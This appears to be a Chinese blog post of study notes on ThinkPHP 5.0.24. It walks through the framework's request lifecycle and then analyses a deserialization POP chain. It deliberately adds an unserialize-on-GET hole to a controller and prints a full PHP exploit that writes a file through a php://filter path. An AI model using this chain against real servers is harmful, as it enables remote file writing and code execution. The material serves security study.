thinkphp5.0.24的学习

ThinkPHP5的学习

MVC模式

MVC是三个单词的缩写,他们分别是Model(模型),view(视图),Controller(控制),那么MVC模式就是由这三个模块组成的。面向用户的也就是最上面的那一层是视图,最下面的一层是数据,而在这两层中间的就是控制。以我们现实生活中的商店来举例,那些商铺是面向顾客的,也就是MVC中的视图,而商店的仓库就是model,那么来回于这两层之间的就是控制层。这样的化就很好的能够理解MVC模式这三层到底是干啥的了。

tp5的目录结构

根目录

在根目录下面,有application(应用目录),public(WEB目录即可通过url访问的目录),thinkphp(框架系统目录),和一些记录着整个架构用了什么库,日志和使用说明文件

application(应用目录)(APP_PATH)

这是系统默认的配置文件目录,在这个目录里面,都是模块配置文件和控制器的配置,分为应用配置(整个应用有效)和模块配置(仅针对该模块有效)。这个模块配置我觉得也可以叫做功能配置,应用配置可以叫做整个网站的配置

public(WEB目录)

这里面的文件都是可以通过web浏览器直接访问

thinkphp(框架系统目录)

在这个目录下面,都是一些对系统框架的一些定义

MVC模式的体现

在thinkphp中,由入口文件告诉控制器它需要些什么东西,然后再由控制器去调用它所需要的并且由控制器来实现用户的操作,入口文件只需要传达请求和结果即可

tp5一次请求的完整流程

首先在入口文件定义了工作目录

1
2
// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');

接着在入口文件处加载框架引导文件

1
require __DIR__ . '/../thinkphp/start.php';

接着进入框架系统目录thinkphp里的框架引导文件start.php,一进入这个文件就会先加载同目录下的base.php

1
require __DIR__ . '/base.php';

然后进入base.php文件,前面的几十行都是在定义常量和环境常量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
define('THINK_VERSION', '5.0.24');
define('THINK_START_TIME', microtime(true));
define('THINK_START_MEM', memory_get_usage());
define('EXT', '.php');
define('DS', DIRECTORY_SEPARATOR);
defined('THINK_PATH') or define('THINK_PATH', __DIR__ . DS);
define('LIB_PATH', THINK_PATH . 'library' . DS);
define('CORE_PATH', LIB_PATH . 'think' . DS);
define('TRAIT_PATH', LIB_PATH . 'traits' . DS);
defined('APP_PATH') or define('APP_PATH', dirname($_SERVER['SCRIPT_FILENAME']) . DS);
defined('ROOT_PATH') or define('ROOT_PATH', dirname(realpath(APP_PATH)) . DS);
defined('EXTEND_PATH') or define('EXTEND_PATH', ROOT_PATH . 'extend' . DS);
defined('VENDOR_PATH') or define('VENDOR_PATH', ROOT_PATH . 'vendor' . DS);
defined('RUNTIME_PATH') or define('RUNTIME_PATH', ROOT_PATH . 'runtime' . DS);
defined('LOG_PATH') or define('LOG_PATH', RUNTIME_PATH . 'log' . DS);
defined('CACHE_PATH') or define('CACHE_PATH', RUNTIME_PATH . 'cache' . DS);
defined('TEMP_PATH') or define('TEMP_PATH', RUNTIME_PATH . 'temp' . DS);
defined('CONF_PATH') or define('CONF_PATH', APP_PATH); // 配置文件目录
defined('CONF_EXT') or define('CONF_EXT', EXT); // 配置文件后缀
defined('ENV_PREFIX') or define('ENV_PREFIX', 'PHP_'); // 环境变量的配置前缀

// 环境常量
define('IS_CLI', PHP_SAPI == 'cli' ? true : false);
define('IS_WIN', strpos(PHP_OS, 'WIN') !== false);

接着再载入Loader类

1
2
// 载入Loader类
require CORE_PATH . 'Loader.php';

进入Loader.php,

首先就是Loader类的定义,接着就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function __include_file($file)
{
return include $file;
}

/**
* require
* @param string $file 文件路径
* @return mixed
*/
function __require_file($file)
{
return require $file;
}

这两个函数分别使用include和require包含两个文件,然后回到base.php文件,进入一个if语句

这里会判断之前设置的ROOT_PATH常量为文件名,env为后缀的文件是否存在

如果存在的话,那么就会用parse_ini_file函数解析ROOT_PATH文件并以数组的形式传给env变量,并且会进入循环,给name赋值为配置前缀(PHP_)加上env变量的脚标全大写。接着再判断val变量是否为数组,如果是的话就把名字为item变量的值的环境变量的值赋值成name变量的值加上__和变量k的值。如果不是那么就直接将为val变量的值传给名字为name变量的值的环境变量。

自动注册加载

​ 在这之后就会用到Loader.php里面的register方法,实现自动注册加载

register方法

注册系统自动加载

首先使用了spl_autoload_register这个函数,他会告诉thinkphp,碰到没有被实例化的类就执行loader类的autoload方法,并且会在自动注册函数失败时报出异常。

if判断语句

接着就是判断以在base.php文件里面定义的VENDOR_PATH的值为根目录,composer为子目录是否存在,如果存在,那么就会继续向下判断php的版本号是否大于5.6和判断在VENDOR_PATH目录下的composer目录是否存在autoload_static.php这个文件,如果满足这两个条件的话,那么就会包含这个php文件

然后就会给declaredclass变量赋值为当前已知类的名字所组成的数组,给composerclass变量赋值为declaredclass数组删除最后一个元素的数组。接着江foreach里面的值逐个赋值给attr变量,判断attr的值是否在composerclass的数组里面。如果不满足php的版本号大于5.6或者在VENDOR_PATH目录下的composer目录不存在autoload_static.php这个文件,那么就执行registerComposerLoader这个函数

registerComposerLoader方法

registerComposerLoader函数如图

这里有四个判断,它首先判断以VENDOR_PATH的值为目录名下的composer目录是否存在autoload_namespaces.php这个文件,如果存在就执行addPsr0这个函数

addPsr0方法

我们可以先看下autoload_namespaces.php文件

它返回了一个空数组,那么这也这也意味着namespace,path都为空。当namespace为空时,那么就会判断$fallbackDirsPsr0的值是否等于prepend变量的值,如果相等就会执行将path变量变成数组并且将$fallbackDirsPsr0的值传给path数组,否则就将paths数组的值传给$fallbackDirsPsr0。

如果prefix不为空,那么就将prefix数组的第一个值传给first变量,并且判断$prefixesPsr0[$first][$prefix]是否存在,如果不存在,那么就将$paths数组的值赋给$prefixesPsr0[$first][$prefix],如果存在的话,就判断$prefixesPsr0[$first][$prefix]值和$prepend的值是否相等,如果相等,那么就将$prefixesPsr0[$first][$prefix]的值传给$paths,否则就将$paths的值传给$prefixesPsr0[$first][$prefix]。

以VENDOR_PATH的值为目录名下的composer目录如果存在autoload_psr4.php这个文件,那么就执行addPsr4方法

addPsr4方法

还是先看一下autoload_psr4.php这个文件返回的类型是什么

可以看到仍然是以数组形式返回。

​ 可以看到当prefix变量的值为空时,所执行的操作和addPsr0方法一样,只是把$fallbackDirsPsr0变成了$fallbackDirsPsr4

​ 当$prefixDirsPsr4[$prefix]的值不存在的时候,判断’\\‘是否等于prefix的最后一个键值,如果不是那么就会抛出一条信息。并终止程序的运行。如果是的话那么就就将length的值传给$prefixLengthsPsr4[$prefix[0]][$prefix],并且将(array) $paths的值传给$prefixDirsPsr4[$prefix]

​ 如果以上两种条件都不满足的话就会执行else,首先判断$prefixDirsPsr4[$prefix] 是否等于$prepend,如果等于那么就会将$prefixDirsPsr4[$prefix] 的值传给$paths,否则就将$paths的值传给$prefixDirsPsr4[$prefix],至此addPsr4方法结束

以VENDOR_PATH的值为目录名下的composer目录如果存在autoload_classmap.php这个文件,那么就执行addClassMap方法

addClassMap方法

我们先看autoload_classmap.php这个文件的返回值

很明显返回的格式为数组。

如果数组存在,那么就将class数组的值传给classmap数组。至此addClassMap方法结束

以VENDOR_PATH的值为目录名下的composer目录如果存在autoload_files.php这个文件,那么就将files数组的值等于autoload_files.php文件的返回值

那么至此,register方法的if条件就结束了。

注册命名空间定义

首先需要看下$prefixDirsPsr4数组,这是

这里使用到了loader类的addnamespace方法

其中namespace变量是一个数组,其值为

这里的if语句首先判断namespace是否是个变量,如果是的话,那么就会进入循环

这里调用了addpsr4方法

这里的prefix的值是think\,那么就会进入else条件里面,最终判断$prefixDirsPsr4[$prefix] = $prepend,那么就得到了$paths的值

当$prefix=”behavior”时,因为loader类找不到$prefixDirsPsr4[$prefix]那么就会进入elseif,此时会得到prefix变量值的长度,很明显,prefix最后一个字符就是’\‘那么就会进行两个赋值操作。

此时进行第三次循环

因为还是找不到$prefixDirsPsr4[$prefix]所以就进入elseif,进行和第二次循环一样的操作。

那么至此,命名空间定义就完成了。

接下来就是加载类库映射文件

加载类库映射文件

先判断是否存在类库映射文件,如果存在的话就就执行addclassmap方法,这里并不存在,所以就直接跳过执行loadComposerAutoloadFiles方法

loadComposerAutoloadFiles方法

进入循环,判断$GLOBALS[‘__composer_autoload_files’][$fileIdentifier]值是否为空,为空就包含$file的值,并且将$GLOBALS[‘__composer_autoload_files’][$fileIdentifier]的值变成true,剩下的也是如此

那么至此loadComposerAutoloadFiles方法执行结束

自动加载extend目录

extend目录是thinkphp5默认的扩展类库目录

这里会将**$fallbackDirsPsr4[]赋值为EXTEND_PATH**的右边去除掉DS后的字符串,那么至此register方法就执行结束了。

base.php文件中实现了注册自动加载过后就会执行注册错误和异常处理机制

注册错误和异常处理机制

实现自动加载

进入autoload方法

先进入loader.php文件的autoload方法实现自动加载

这里会先判断**$namespaceAlias的值是否为空,如果为空,那么namespace的值就等于class变量去掉文件名的路径,继续判断$namespaceAlias[$namespace]的值是否存在,如果存在的话就给$original赋值为‘$namespaceAlias[$namespace]\class变量所指的文件名’,继续判断$original所指的类是否已经被定义了,如果定义了那么就返回将$class的值作为$original**的别名。

但是程序执行的时候**$namespaceAlias的值并不为空,所以并不会执行里面的语句,而是接着往下判断$file的值是否等于findFile($class)**的值。

我们来看一下findfile方法

进入findFile方法

首先会判断**$classMap[$class]的值是否为空,为空的话就会直接返回,不为空的话就会继续往下走,将$logicalPathPsr4赋值为将$class变量里的\用DS替换后的字符串加.EXT,比如程序运行到这里的$class的值是think\error,替换过后$logicalPathPsr4的值为think\error.php,接着再给$first赋值为$class[0],接着再向下判断$prefixLengthsPsr4[$first]的值是否存在,如果存在就会进入循环,判断$prefix首次出现的位置是不是在$class的开头,如果是就进入内部循环不是就进行下一次循环。程序运行到这里的时候$class的值为”think\error”,那么当$prefix的值为”think”的时候就会进入内部循环,在内部循环里面,会将$prefixDirsPsr4[$prefix]的值作为$dir的值,进行判断,$file的值是否等于$dir加上$logicalPathPsr4的值去掉前$length后的值,如果相等就会返回$file**,程序运行到这里的时候,相关的各值为

可以很明显的看到相等

那么就会回到autoload方法

返回autoload方法

此时**$file**的值等于findFile方法返回的值,进入if语句中

接着进行判断如果是非win环境下或者判断**$file的文件名与绝对路径下的$file**的文件名是否像等,如果满足了其中的一个条件那么就进入里面的语句,程序进入里面的语句后会此案执行__include_file方法

他会返回包含**$file**文件,然后autoload方法就会返回true

进入Erorr.php文件的register方法

这些全都是设置当程序出错了会报什么错误信息,没什么好看的

加载惯例配置文件

进入convention.php文件

程序并没有直接进入config文件,而是先进入convention文件返回了应用设置参数

进入config.php文件的set方法

此时**$name**的值为

首先给**$range**赋值成

然后进入判断,如果**$config[$range]并不存在,那么就会让$config[$range]为空数组,此时程序继续进入下一个条件语句判断$name是否为字符串,很明显$name是一个数组,所以跳过这次if,继续进入下一个if的判断,判断$name是不是数组,刚刚已经说了,$name是一个数组,那么就进入if里面的语句,继续判断$value的值是否为空,如果为空就跳过这个if,不为空就执行if里面的语句。程序进行到这里时$value的值为空,所以直接跳过了,接着就直接返回$config[$range]$name合并的数组并且将$name**的所有键大写。

至此config.php和base.php都结束了

进入start.php

再次调用autoload方法

和之前调用的一样,调用过后进入app.php的run方法

进入app.php的run方法

首先判断**$request变量是否为空,如果为空,就执行request类的instance方法,否则就是其本身,很明显这里$request**为空,那么就执行一次autoload方法再进入request.php文件

进入request.php文件

这里先判断**$instance是否为空,如果为空就让$instance**为static对象,执行__construct魔术方法

执行__construct魔术方法

判断filter对象是否为空,为空就将其执行config类的get方法

get方法

先给**$range赋值为”_sys_“,然后判断$name的值是否为空和$config[$range]是否存在,很明显$name**的值不为空,所有直接进入下一个判断

这个判断.在**$name**里面是否存在,如果不存在就就执行里面的语句,存在就跳过,这里很明显不存在,所有执行里面的语句

首先将**$name的字符全变成小写,然后如果$config[$range][$name]存在,那么就返回$config[$range][$name]**,否则返回null,这里并不存在,所有最后的filter的值为空

然后执行

然后返回**$instance**

返回app.php的run方法

给**$config**变量赋值为initcommon方法的返回值

进入initcommon方法

首先判断**$init的值是否为空,程序运行到这里确实为空,执行里面的语句,判断是否定义了APP_NAMESPACE**这个常量,并没有定义直接跳过,运行Loader类的addnamespace方法

进入addnamespace方法

先判断**$namespace**是否是一个数组,这里很明显不是,直接跳过,执行addpsr4方法

执行addpsr4方法

执行方法和之前是一样的,就不用再细讲了

这里是各变量的值

返回initcommon方法

执行完addpsr4方法就直接返回到initcommon方法并且继续向下执行

进入init方法

首先先定位模块目录,然后再判断APP_PATH . $module . ‘init’ . EXT这个文件存不存在

存在的话就会包含这个文件,elseif也一样,如果存在RUNTIME_PATH . $module . ‘init’ . EXT这个文件就会包含这个文件

但是程序执行到这并没发现这两个文件,所以就执行else

先用config类的load方法给**$config**赋值

进入load方法

首先给**$range赋值为”_sys_“,然后进行判断,如果不存在$config[$range]这个变量,那么就令这个变量为空数组,存在就进行下一个判断。这里是存在的,进行下一个判断,程序是存在$file值的文件的,那么就将$name的字符全都变成小写,并且将$type**的值赋值为文件的后缀,也就是php,那么就满足下面一个条件,就会返回set方法的返回值

进入set方法

首先给**$range赋值为”_sys_“,然后进行判断,如果不存在$config[$range]这个变量,那么就令这个变量为空数组,存在就进行下一个判断。这里是存在的,进行下一个判断,很明显$name是一个数组,那么就执行180行的代码,当程序运行到这里的时候,$value的值为空,不满足这个if条件并且跳过这个if语句,直接返回$config[$range]的值,$config[$range]的值是由$config[$range]$name结合在一起的新数组,并且原$name**的键全大写

返回app.php文件

接着就往下执行,给**$filename赋值为CONF_PATH . $module . ‘database’ . CONF_EXT**,接着进入config类的load方法,进入load方法知乎再进入set方法,和刚才的一摸一样,只是这里的$value变量值不玩i空,所以会执行if里面的语句

先判断**$config[$range]存不存在,如果存在,那么就返回$config[$range]的值是由$config[$range]$name结合在一起的新数组,不存在就返回$name**数组的值,然后又返回app.php。

接着往下判断,因为存在CONF_PATH . $module . ‘extra’这个目录,所以执行if里面的语句,首先给$dir赋值为

CONF_PATH . $module . ‘extra’然后给$files数组赋值为**$dir目录下的子目录和文件,然后进行循环,判断.加上文件的后缀名是否与CONF_EXT相等,相等就执行里面的代码,给$filename赋值为$file**的绝对路径,然后调用load方法,所执行的代码和249行代码执行load方法一样,就不多阐述了。

接下来判断出**$config[‘app_status’]的值并不存在,于是就跳过这个if,看下面的if,这个if判断出CONF_PATH . $module . ‘tags’ . EXT**这个文件存在,于是就执行Hook类的import方法,因为之前没有定义这个类,所以需要走一遍autoload方法

进入autoload方法

执行的流程还是和之前的一样

进入Hook类import方法

$recursive的值为true,执行条件语句中,进行循环

进入Hook类add方法

这里判断**$behavior是不是一个数组和它能否在当前环境使用,这里满足了条件,进行下一个判断,判断出$behavior里并不存在’_overlay’这个键,执行if里面的语句,首先释放掉$behavior[‘_overlay’]**的值,并且将

$tags[$tag]变为由$tags[$tag]$behavior所组成的数组,剩下的执行顺序和代码都是一样的、

返回app.php文件

这里将**$path的值赋值为APP_PATH . $module,往下进行判断出存在$path . ‘common’ . EXT这个文件,所以包含这个文件,由于$module**的值为空,所以就跳过if里面的代码,直接返回get方法的返回值。

进入get方法

可以看到,刚刚什么都没传给get方法,所以是无参数,直接返回**$config[$range]**的值

返回App类的initcommon方法

给**$suffix赋值为$config[‘class_suffix’]的值,然后调用了Env类的get方法和config类的get方法给$debug**赋值

进入env类的get方法

因为是第一次进入,所以还是得调用loader类的autoload方法然后再进入env类

首先给**$result赋值,判断出$result等于false然后返回$default**的值

调用config的get方法

还是首先给**$range赋值,然后判断出$name中没有出现.并执行里面的代码,先给$name**数组的键全都变成小写,然后判断是否存在$config[$range][$name],如果存在就返回$config[$range][$name],不存在就返回null

返回App类的initcommon方法

这里判断出**$debug**存在并且为假,执行里面的语句,再php.ini文件里将’display_errors’的值设置成off,然后再继续往下判断

然后判断出**$config[‘root_namespace’]的值为空,跳过这个判断语句,然后再往下判断
判断出
$config[‘extra_file_list’]的值不为空,执行循环,首先判断出$file里是否存在.如果存在就把$file的值传给$file,不存在就把APP_PATH . $file . EXT的值传给$file,接着判断$file的值这个文件是否存在和$file[$file]是否存在,这里判断出前者存在,后者不存在满足条件,包含$file文件,并且将$file[$file]**赋值为true。

接着设置系统时区为**$config[‘default_timezone’]**的值,然后调用Hook类的listen方法

进入Hook类的listen方法

首先定义**$results**为空数组,然后使用同类的get方法

先检查**$tags数组里面是否有$tag这个键,如果有就返回$tags[$tag]**的值,否则就返回空数组

然后listen方法返回 $results的值

返回App类的initcommon方法

把**$init**的值设置为true,然后返回config类的get方法的返回值

返回**$config[$range]**的值

退出App类的initcommon方法

然后继续往下走

!

判断出BIND_MODULE这个常量并不存在,所以直接跳过

然后给**$request**赋值为filter方法的返回值

进入Request类的filter方法

判断出**$filter的值并不是null值,然后就将request类的filter对象赋值为$filter的值,那么最终$request**的值就是request类的filter对象的值

然后执行Lang类的range方法

进入Lang类的range方法

直接返回**$range**的默认值

返回app类的run方法

首先开启多语言机制然后检测当前语言,然后给**$request**赋值为langset方法的返回值,首先进入lang类的range方法

返回**$range**的空值,然后进入request类的langset方法

判断出**$lang的值并不是空值,执行条件语句,给当前类的langset对象赋值为$lang**的值然后返回

然后app类的run方法继续往下走

首先使用request类的langset方法来进行赋值,赋值完成后进入lang类的load方法

先给**$range赋值,然后判断$file**的值是不是字符串,如果是的话,就变成数组,不是那么就不做改变,很明显这里不是字符串

然后判断出**$lang[$range]并不存在,于是就令$lang[$range]的值为空数组,然后再让$lang的值为空数组,进入循环,让$file的每一个键值等于$_file**,然后判断**$_file所代表的文件存不存在,这里判断出存在,执行记录加载信息,并且包含了$_file所代表的文件,然后判断出$_array是一个数组,然后让$lang变成一个由$_lang数组的键全大写的数组和$lang**数组组成的新数组。

接着判断出**$lang不为空值,然后让$lang[$range]的值等于$lang的值加上$lang[$range]的值,最后返回$lang[$range]**的值。

然后返回app.run继续向下执行

这里调用了hook类的listen方法

进入hook类的listen方法

首先令**$results**为一个空数组,然后进入循环,先使用了get方法

返回**$tag的值,然后再返回$results**的值

返回app.run方法

接着给**$dispatch赋值,并且出判断$dispatch**的值为空,执行routecheck方法

进行routecheck方法

首先给**$path**变量利用path方法赋值

首先判断出path的值为空,就使用config类的get方法

首先给**$range赋值为”_sys_“然后判断出$name**的值里面并没有.

执行if语句,首先将**$name数组的键都变成小写,然后再判断$config[$range][$name]这个值是否存在,如果存在就返回$config[$range][$name]**的值,不存在就返回null,然后返回path方法

再调用pathinfo方法

首先判断出pathinfo对象的值为空,然后再判断url里面并不存在兼容模式参数

接着再判断出url里存在‘PATH_INFO’然后再判**断$_SERVER[‘PATH_INFO’]**的值是否为空,如果为空就返回’/‘,不为空就返回$_SERVER[‘PATH_INFO’]**变量左边移除掉’/‘后的值,最后返回值为’/‘。

回到path方法

判断出**$suffix**存在且不为false,然后去除掉正常的url后缀,最后返回path。

然后回到routecheck方法

给**$depr赋值为$config[‘pathinfo_depr’]的值,然后再给$result**赋值为false。

然后判断**$routeCheck这个值是否为空,如果不为空就给$check赋值为$routeCheck否则就赋值为$config[‘url_route_on’],然后判断出$check变量存在,继续判断出RUNTIME_PATH . ‘route.php’这个文件并不存在,进入else条件,首先给$files赋值为$config[‘route_config_file’]**,然后进入循环

判断出CONF_PATH . $file . CONF_EXT文件存在,包含CONF_PATH . $file . CONF_EXT文件,然后使用route类的import方法进行导入路由配置,然后再使用route类的check方法

首先判断出**$debug && Config::get(‘route_check_cache’)为真跳过这个if,然后将$url里的’/‘替换成|然后再赋值给$url,然后判断出$rules[‘alias’][$url]并不存在,然后给$method**进行赋值并且将键全转为小写。

然后判断**$rules[$method]变量是否存在,如果存在就给$rules赋值为$rules[$method],不存在就赋值为空数组。然后判断出$checkDomain为false,给$return赋值为checkUrlBind($url, $rules, $depr)**的返回值

首先判断出**$bind为空,所有直接返回false,那么$return**的为false,那么就直接跳过if语句

给**$item赋值为将$url中的’|’转换为’/‘后的值,然后判断出并不存在$rules[$item],然后再判断出$rules的值不为空,返回checkRoute($request, $rules, $url, $depr)**的返回值。

然后判断**$routeMust的值是否为空,如果为空那么就给$must赋值为$config[‘url_route_must’],不为空就赋值为$routeMust。然后判断出$result等同于false,然后给$result赋值为parseUrl($path, $depr, $config[‘controller_auto_search’])的返回值,最后返回$result**的值

返回app.run方法

调用dispatch方法

判断出**$dispatch不为空,并返回$dispatch的值,然后判断出$debug**的值为false,就向下执行hook类的listen方法

首先给**$results定义为空数组,然后判断出$once为假,返回$results**的值

然后执行cache方法,发现是直接退出来了。

继续向下执行exec方法

继续调用module方法,给**$data**赋值,然后调用loader类的clearInstance方法

将**$instance**设为空数组

然后输出数据到客户端

$data的值不为空,所以执行elseif的语句

默认自动识别响应输出类型

然后再执行hook类的listen函数

和之前走的流程一样,最后返回**$response**的值,至此,app.run方法执行完毕

进入app.send方法

首先使用hook类的listen方法,流程仍然是一样的。然后使用getContent方法

判断出content对象的值为空,给**$content**赋值为output方法的返回值

判断出if条件里的语句为假,故跳过并返回将**$content**变成字符串后的值

然后继续往下执行

调用两个方法给$cache赋值,然后判断出cache的值为false,进行下一个判断,判断出**headers_sent()**为假和header对象不为空,然后发送状态码和头部信息

然后打印出**$data**,然后判断出fastcgi_finish_request这个函数并没有定义,然后调用hook类的listen方法,仍然和之前一样,然后判断出**($this instanceof RedirectResponse)**为false,就调用seesion的flush方法

首先判断出**$init**并不存在,直接退出。至此依次请求的完整流程就结束了

thinkphp5的反序列化漏洞

为了用反序列化触发rce,那么就需要调用Request__call方法.

二次开发

由于下载下来的tp并没有反序列化入口,所以我们得在index的controller中加入代码

1
2
3
$yhck = unserialize($_GET['yhck']);
var_dump($yhck);
return 'welcome to thinkphp!';

pop链构造分析

首先,进行全局搜索__destruct,查看thinkphp/library/think/process/pipes/Windows.php的Windows类中调用了__destruct魔术方法。

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

根据removeFiles,发现了file_exists函数,file_exists函数处理的时候会将对象当做字符串处理,那么这就会触发__toString函数

跳板利用点:thinkphp/library/think/Model.php

__toString方法

1
2
3
4
public function __toString()
{
return $this->toJson();
}

跟进tojson方法

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

跟进toarray方法

存在三处地方可以执行__call方法

1
$item[$key] = $relation->append([$attr])->toArray();
1
$bindAttr = $modelRelation->getBindAttr();
1
$item[$key] = $value ? $value->getAttr($attr) : null;

由于我们的目的是调用Output类__call且能够继续利用,调试后选择第三处当做调板

那么我们怎样能够执行到这行代码呢

先溯源一下溯源$values变量,比较关键是下面两行

1
2
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

跟进一下getRelationData方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}

看一下这三个条件

1,$this->parent

存在且可控

2,!$modelRelation->isSelfRelation()跟进isSelfRelation方法

1
2
3
4
public function isSelfRelation()
{
return $this->selfRelation;
}

返回$this->selfRelation,可控

3,get_class($modelRelation->getModel()) == get_class($this->parent)跟进一下getModel方法

1
2
3
4
public function getModel()
{
return $this->query->getModel();
}

所以我们得找一下哪一个getModel可,全局搜索找到了thinkphp\library\think\db\Query.php

1
2
3
4
public function getModel()
{
return $this->model;
}

那么这三个条件都满足,执行$value = $this->parent; return $value

为了执行__call方法,那么我们还得看一下如何绕过那几个if语句

第一个if

需要满足modelRelation这个类中存在getBindAttr()函数,而且下一个bindAttr是该函数的返回值

全局搜索getBindAttr方法,在 OneToOne类找到可控的getBindAttr方法

1
2
3
4
public function getBindAttr()
{
return $this->bindAttr;
}

可以看到onetoone类继承了Relation类,搜索一下继承了onetoone类

那么我只需要让$modelRelation是hasne类即可

其实下面还有一个if,但是我们简单看下,将$bindAttr的键值对中的键给$key,然后进行isset判断,当已经定义才满足if,我们要进入的是不满足if条件的时候

然后进入__call,要选择一个能写webshell的类的__call方法,选择了thinkphp\library\think\console\Output.php

所以上面的$value应该是一个thinkphp\library\think\console\Output.php类对象

在这里method和this->styles是可控的,array_unshift()对调用block()方法没有影响,可以执行block方法,跟进Output的block方法

1
2
3
4
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}

跟进writeln方法

1
2
3
4
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}

跟进write方法

1
2
3
4
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}

handle属性可控,所以全局搜索write方法thinkphp\library\think\session\driver\Memcached.php的write方法

1
2
3
4
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}

而$this->handler可控,所以全局搜索可用的set方法

thinkphp\library\think\cache\driver\File.php中,set方法可以使用file_put_contents写文件,第158行的exit可以使用伪协议进行绕过

结果发现file_put_contents可以写文件,但是内容不可控

继续看set接下来的代码,调用了setTagItem()

进入thinkphp\library\think\cache\Driver.php的setTagItem方法,File类继承了Driver类,但是Driver是一个抽象类,并且会再执行一次set方法,这一次$key是由$this->tage而来,可控;$value由$name而来,也是可控的,那么就可以编写exp了

exp(借鉴的网上的exp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php

namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes
{}
//Windows类中有$files数组 通过file_exists触发__toString方法
class Windows extends Pipes{
private $files = []; //$files是个数组
public function __construct()
{
$this->files = [new Pivot()]; //触发Model类的toString()方法,因为Model是一个抽象类,所以选择其派生类Pivot
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
# Model抽象类
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;

function __construct(){
$this->parent = new Output(); //调用__call()
$this->append = ['getError']; //会用foreach将append中的值传给$name,传给$relation,调用getError(),将下面的error传给$modelRelation
$this->error = new HasOne(); //最后传给$modelRelation
$this->selfRelation = false; //isSelfRelation()
$this->query = new Query(); //用于判断getRelationData()中if条件的第三个

}
}
#Relation抽象类 之后的Output是Relation的派生类
namespace think\model;
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation = false; # 这个用于判断getRelationData()中if条件的第二个
$this->query = new Query();#class Query
}
}
#OneToOne HasOne 用于传给$modelRelation,主要是用于满足if条件,进入value->getAttr()
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{ # OneToOne抽象类
function __construct(){
parent::__construct();
}
}
// HasOne
class HasOne extends OneToOne{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr = ["no","123"]; # 这个需要动调,才能之后为什么这么写,待会说
}
}



#Output 进入Output->__call()
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached(); //目的调用Memcached类的write()函数
$this->styles = ['getAttr']; # 这是因为是通过Output->getAttr进入__call函数,而__call的参数中$method是getAttr
}
}

#Query
namespace think\db;
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output(); //判断getRelationData()中if条件的第三个
}
}
#Memcached
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File(); //目的是调用File->set()
}
}
#File
namespace think\cache\driver;
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>', //
'data_compress' => false,
];
$this->tag = true;
}
}


use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

ps:注意需要将php的short_open_tag设为Off,不然会将<??>之间的内容识别为php代码,但是<? 之后是cuc,不符合语法,所以报错

pop链图

总结:对pop链的有些利用方式还是没太懂,因为这周的前几天一直在看newstar的题就导致看thinkphp的时间不够了,只有这样写了……..

参考链接:

https://blog.csdn.net/qq_41891666/article/details/107503710

https://blog.csdn.net/LYJ20010728/article/details/119793016


thinkphp5.0.24的学习
https://zoceanyq.github.io/2022/10/16/thinkphp5-0-24的学习/
作者
ocean
发布于
2022年10月16日
许可协议